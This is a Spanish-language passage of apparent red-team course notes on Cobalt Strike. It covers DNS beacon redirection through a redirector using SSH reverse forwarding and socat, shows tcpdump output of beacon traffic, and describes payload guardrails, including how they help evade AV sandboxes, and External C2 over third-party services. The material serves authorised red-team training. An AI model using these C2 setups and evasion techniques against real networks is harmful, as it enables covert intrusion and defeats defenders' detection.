También podemos redirigir el tráfico DNS a través de un redirector. Para ello usaremos Redirector 2. Para facilitar el uso de DNS Beacons, necesitamos agregar los registros DNS apropiados a PowerDNS. En este ejemplo, uso un subdomain llamado bacs que en última instancia apuntará a 10.10.0.200.

Name Type Data
ns1 A 10.10.0.200
bacs NS ns1.infinity-bank.com.

OpenSSH no parece soportar UDP tunnels, así que crearemos un túnel TCP normal y usaremos otra herramienta para redirigir el tráfico UDP. Mi preferida es socat, aunque iptables es otra opción. Primero, haz SSH en redirector-2 y configura un port forward entre el puerto 5353 tanto en el redirector como en el team server.

attacker@teamserver ~> ssh attacker@10.10.0.200 -R 5353:localhost:5353

Luego podemos usar socat para escuchar en UDP 53 en redirector-2 y reenviar el tráfico a TCP 5353.

attacker@redirector-2 ~> sudo socat udp4-listen:53,reuseaddr,fork tcp:localhost:5353

Después, en el team server, usamos socat para escuchar en TCP 5353 y reenviar el tráfico a UDP 53, donde llegará al DNS listener.

attacker@teamserver ~> sudo socat tcp-listen:5353,reuseaddr,fork udp4-sendto:localhost:53

Crea el DNS listener y ejecuta un payload.

Si el Beacon no aparece, tcpdump puede ayudar con la resolución de problemas.

attacker@redirector-2 ~> sudo tcpdump -i ens5 udp port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens5, link-type EN10MB (Ethernet), capture size 262144 bytes

11:33:40.151756 IP 10.10.120.10.53311 > redirector-2.domain: 37601 A? 7be526ba.bacs.infinity-bank.com. (49)
11:33:40.154975 IP redirector-2.domain > 10.10.120.10.53311: 37601- 1/0/0 A 0.0.0.243 (96)
11:33:40.158964 IP 10.10.120.10.52732 > redirector-2.domain: 52529 [1au] A? www.180.023ac5093.7be526ba.bacs.infinity-bank.com. (78)
11:33:40.161123 IP redirector-2.domain > 10.10.120.10.52732: 52529- 1/0/0 A 0.0.0.0 (132)
11:33:40.165134 IP 10.10.120.10.51331 > redirector-2.domain: 25216 A? www.39b217fd1bf27b2a7335eda50b2d7a9b6b7e877c7feee8bd5068d0023.912f166c169e22b943a3eac205fbf93525f01f75efccfc22f2394782.430c6aee8a7123863dd1ae41f73997054db24c2857d66d2503a5a22d.123ac5093.7be526ba.bacs.infinity-bank.com. (235)
11:33:40.167505 IP redirector-2.domain > 10.10.120.10.51331: 25216- 1/0/0 A 0.0.0.0 (468)
11:33:40.172366 IP 10.10.120.10.53201 > redirector-2.domain: 17719 [1au] A? www.2654e5ff5bb92974958339041dd09f6dcbdd4a286.10c03fcc2e4526b31cb0d4113ed58e9f70e616a2.223ac5093.7be526ba.bacs.infinity-bank.com. (157)
11:33:40.177528 IP redirector-2.domain > 10.10.120.10.53201: 17719- 1/0/0 A 0.0.0.0 (290)
11:33:40.182090 IP 10.10.120.10.53078 > redirector-2.domain: 60892 A? www.1339ec101.323ac5093.7be526ba.bacs.infinity-bank.com. (73)
11:33:40.190087 IP redirector-2.domain > 10.10.120.10.53078: 60892- 1/0/0 A 0.0.0.0 (144)
11:33:40.193681 IP 10.10.120.10.53809 > redirector-2.domain: 7886 [1au] A? api.07c094755.7be526ba.bacs.infinity-bank.com. (74)
11:33:40.196670 IP redirector-2.domain > 10.10.120.10.53809: 7886- 1/0/0 A 0.0.0.48 (124)
11:33:40.200457 IP 10.10.120.10.51950 > redirector-2.domain: 42916 TXT? api.17c094755.7be526ba.bacs.infinity-bank.com. (63)
11:33:40.202976 IP redirector-2.domain > 10.10.120.10.51950: 42916- 1/0/0 TXT "olsDrxU36HBkcOXFf1j76YI2LriU1QTn+F2moZzpP8dDIH2lZcJ6v7s1z7s6Xzkn" (185)
11:34:40.214193 IP 10.10.120.10.52126 > redirector-2.domain: 65232 [1au] A? 7be526ba.bacs.infinity-bank.com. (60)
11:34:40.216564 IP redirector-2.domain > 10.10.120.10.52126: 65232- 1/0/0 A 0.0.0.0 (96)

Payload Guardrails

Un guardrail es una o más comprobaciones que un payload puede ejecutar antes de funcionar por completo para evitar que se ejecute fuera del entorno objetivo. Esto tiene en cuenta tanto la OPSEC como preocupaciones legales. Por ejemplo, un motor de AV puede intentar ejecutar un payload dentro de un sandbox para analizar su comportamiento. El payload puede abortar su actividad sospechosa (como process injection) si detecta la presencia de ese sandbox, potencialmente provocando que el AV devuelva un falso negativo. En escenarios como phishing, no quieres que tus correos y payloads se reenvíen fuera de tu alcance acordado. Los guardrails pueden impedir que tus payloads se ejecuten fuera de los entornos en los que estás autorizado a operar.

En Cobalt Strike, los guardrails se configuran en la sección de opciones para DNS, HTTP/S, SMB y TCP listeners.

Las opciones disponibles son:

  • IP Address
    • Dirección(es) IP interna(s).
    • Soporta comodines en los segmentos de la derecha, por ejemplo: 10.10.120. o 10.10..*.
  • User Name
    • Nombre de usuario (sensible a mayúsculas/minúsculas).
    • Admite comodines a la izquierda o derecha, p. ej. svc_ o *_adm.
  • Server Name
    • Nombre de equipo (sensible a mayúsculas/minúsculas).
    • Admite comodines a la izquierda o derecha.
  • Domain
    • Nombre de dominio (sensible a mayúsculas/minúsculas).
    • Admite comodines a la izquierda o derecha, por ejemplo _acme. o **.acme.corp.

Info

Los guardrails solo se aplican a stageless payloads, no a stagers.


External C2

Cobalt Strike soporta third party command and control permitiendo que componentes externos actúen como capa de comunicación entre el Team Server y un Beacon payload. Básicamente, el Team Server y Beacon se envían frames encapsulados en algún mecanismo de transporte. Out of the box, CS puede hacerlo sobre HTTP, DNS, TCP y SMB, pero nada impide encapsular estos frames sobre otra cosa. Esto es lo que hace External C2.

Conceptualmente, se ve así:

Cuando se inicia un External C2 "listener", expone un puerto (2222 por defecto) en el Team Server. Un controller de terceros puede conectarse a este puerto a través de TCP para intercambiar datos. Un client de terceros habla con el controller por cualquier método que se le ocurra al operador. Podría ser directamente sobre un protocolo como HTTP, DNS, SSH, FTP, etc. (cualquier cosa que sepamos que saldrá del perímetro de la red objetivo). También podría ser indirectamente a través de un servicio legítimo externo como Office365, Slack, Google Drive, etc. (o incluso una mezcla de ambos). El único requisito es que ambos componentes puedan intercambiar datos “de alguna forma”.

El client solicitará un nuevo Beacon stage al controller y el controller lo retransmite al Team Server. El Team Server envía al controller un SMB Beacon, que se reenvía al client. El client luego carga el Beacon en memoria y se conecta a su named pipe.

Después pasan a un proceso sencillo de retransmisión de frames de un lado a otro. El flujo es así:

La External C2 Specification proporciona detalles de bajo nivel, como la estructura de Beacon frame, y vale la pena revisarla. También hay varias bibliotecas que implementan esta especificación, que puedes usar para construir tus propias aplicaciones controller y client. Algunas notables incluyen:

Aquí un ejemplo divertido de External C2 over Discord.